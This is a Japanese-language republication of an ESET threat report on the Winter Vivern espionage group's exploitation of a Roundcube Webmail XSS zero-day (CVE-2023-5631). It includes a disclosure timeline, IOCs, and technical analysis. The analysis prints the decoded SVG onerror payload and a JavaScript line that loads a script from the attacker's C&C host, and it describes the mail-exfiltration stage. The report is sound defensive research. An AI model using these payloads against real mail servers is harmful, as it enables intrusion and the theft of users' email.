キヤノンMJ/サイバーセキュリティ情報局

RoundcubeのWebmailサーバーに存在するXSSのゼロデイ脆弱性

  • この記事をはてなブックマークに追加
  • 本文印刷

本記事はキヤノンマーケティングジャパンが提供する「サイバーセキュリティ情報局」に掲載された「Roundcube Webmailサーバーのゼロデイ脆弱性を悪用したWinter Vivernの攻撃」を再編集したものです。

 ESET社は、Winter Vivernのサイバースパイ活動を1年以上にわたって詳細に追跡してきましたが、定期的な監視の中で、同グループが2023年10月11日にRoundcubeのWebmailサーバーに存在するXSSのゼロデイ脆弱性の攻撃を開始したことを発見しました。このゼロデイの脆弱性は、CVE-2020-35730とは異なります。このCVE-2020-35730もWinter Vivernグループによって攻撃されていることがESET製品の調査で明らかになっています。

 ESET社のテレメトリデータ(監視データ)によると、このキャンペーンは、すべてヨーロッパにある政府機関やシンクタンクが使用しているRoundcube Webmailサーバーを標的としていました。

脆弱性が開示されるまでのタイムライン:
・2023年10月12日:ESET Researchはこの脆弱性をRoundcubeのチームに報告
・2023年10月14日:Roundcubeのチームは報告に回答し、脆弱性の存在を確認
・2023年10月14日:Roundcubeのチームはこの脆弱性のパッチを作成
・2023年10月16日:Roundcubeのチームは、この脆弱性を解決するセキュリティアップデートをリリース(1.6.4、1.5.5、1.4.15)
・2023年10月18日:ESET CNAは、この脆弱性に対する CVE(CVE-2023-5631)を発行
・2023年10月25日:ESET Researchがこれらブログを公開

 ESET社は、Roundcubeの開発者の方々が迅速に対応され、短期間に脆弱性にパッチを適用されたことに謝意を表します

Winter Vivernとは?

 Winter Vivernは2021年にDomainTools社によってその存在が初めて明らかにされたサイバースパイ集団です。少なくとも2020年から活動を開始しており、ヨーロッパと中央アジアの政府を標的にしていると考えられています。標的組織のセキュリティを侵害するために、このグループは悪意のある文書、フィッシングWebサイト、独自のPowerShellバックドアを使用しています(詳細はウクライナ国家サイバー保護センターSentinelLabsの記事を参照)。ESET社は、Winter Vivernが、2023年8月にESET社が初めて公表した高度な技術力を有するベラルーシとつながりのあるMoustachedBouncerと関係している可能性があると考えていますが、十分な確証は得られていません。

 Winter Vivernは、少なくとも2022年以降、政府機関のZimbraとRoundcubeのメールサーバーを標的にしています。詳細は、Proofpointの記事を参照してください。ESET社は、同グループが2023年8月と9月にRoundcubeの別のXSSの脆弱性(CVE-2020-35730)を攻撃していたことを確認しました。なお、APT28と呼ばれることもあるサイバー攻撃グループであるSednitも、Roundcubeのこの古いXSS脆弱性を攻撃しており、同じ標的を攻撃している場合もあります。

技術的詳細

 CVE-2023-5631が割り当てられてたXSSの脆弱性を攻撃するには、特別に細工したメールメッセージを送信してリモートから実行できます。このWinter Vivernのキャンペーンでは、図1に示すように、team.managment@outlook[.]comからメールが送信され、Get started in your Outlookという件名が使用されていました。

図1.悪意のあるメールメッセージ

 しかし、図2のHTMLソースコードを確認したところ、最後にSVGタグがあり、base64エンコードされたペイロードが含まれていました。

図2.悪意のあるSVGタグを含むメールメッセージ

 useタグのhref属性でbase64エンコードされた値を復号したところ、次のようになりました。

<svg id="x" xmlns="http://www.w3.org/2000/svg"><image href="x" onerror="eval(atob(''))" /></svg>

 href属性のx値の引数が有効なURLでないため、このオブジェクトのonerror属性が有効になります。onerror属性のペイロードを復号すると、以下のJavaScriptコード(悪意のあるURLは手動で変更しています)が得られました。このJavaScriptコードは、被害者のブラウザでRoundcubeセッションの権限で実行されます。

var fe = document.createElement('script'); fe.src = "https://recsecas[.]com/controlserver/checkupdate.js"; document.body.appendChild(fe);
 

 驚くべきことに、このJavaScriptを挿入する攻撃は、パッチが完全に適用されたRoundcubeのインスタンスでも動作していました。これは、サーバー側のスクリプトrcube_washtml.phpに影響するXSSのゼロデイ脆弱性であることが判明しました。これは、悪意のあるSVGドキュメントが、Roundcubeユーザーが解釈するHTMLページに追加される前に、適切にサニタイズされない問題です。ESET社はこの問題をRoundcubeに報告したところ、2023年10月14日にパッチが適用されました(このコミットを参照)。この脆弱性は、Roundcubeのバージョン1.6.x(1.6.4以前)、1.5.x(1.5.5以前)、1.4.x(1.4.15以前)に影響します。

 要約すると、攻撃者は特別に細工したメールメッセージを送信することで、Roundcubeユーザーのブラウザウィンドウの権限で任意のJavaScriptコードをロードすることが可能になります。Webブラウザでメッセージを見るだけで、攻撃を受けることになります。

 第2ステージでは、checkupdate.jsという名前の簡易なJavaScriptローダーが使用されます。このローダーを、図3に示します。

図3.JavaScriptローダー

 最終的に使用されるJavaScriptペイロード(図4を参照)は、現在のRoundcubeアカウント内のフォルダーとメールをリストアップし、https://recsecas[.]com/controlserver/saveMessageへのHTTPリクエストを作成し、メールメッセージをC&Cサーバーへ送信します。

図4. Roundcubeアカウントのメールメッセージを外部に送信する最終的なJavaScriptペイロード(わかりやすく表示するため、難読化されているスクリプトの一部は削除しています)

結論

 Winter Vivernは、Roundcubeのゼロデイ脆弱性を使用して、攻撃キャンペーンを強化しています。過去には、RoundcubeとZimbraの既知の脆弱性を攻撃していました。これらの脆弱性のPoC(概念実証)はオンラインで入手可能になっています。

 Winter Vivernは、攻撃を繰り返しており、定期的にフィッシングキャンペーンを実施していること、また、脆弱性があることが知られているにもかかわらず、インターネットに接続する多くのアプリケーションが定期的にアップデートされていないことから、ヨーロッパの政府機関にとって脅威となっています。

IOC(セキュリティ侵害の痕跡)

ファイル

SHA-1 ファイル名 検出 説明
97ED594EF2B5755F0549C6C5758377C0B87CFAE0 checkupdate.js JS/WinterVivern.B JavaScriptローダー
8BF7FCC70F6CE032217D9210EF30314DDD6B81351 N/A JS/Kryptik.BIK Roundcubeのメールを外部に送信するJavaScriptペイロード

ネットワーク

IP ドメイン ホスティングプロバイダー 最初に確認された日付 詳細
38.180.76[.]31 recsecas[.]com M247 Europe SRL 2023年9月28日 Winter VivernのC&Cサーバー

メールアドレス
team.managment@outlook[.]com

MITRE ATT&CKの技術
この表は、MITRE ATT&CKフレームワークのバージョン13を使用して作成されています。

 ※これ以降の表はEJサイト参照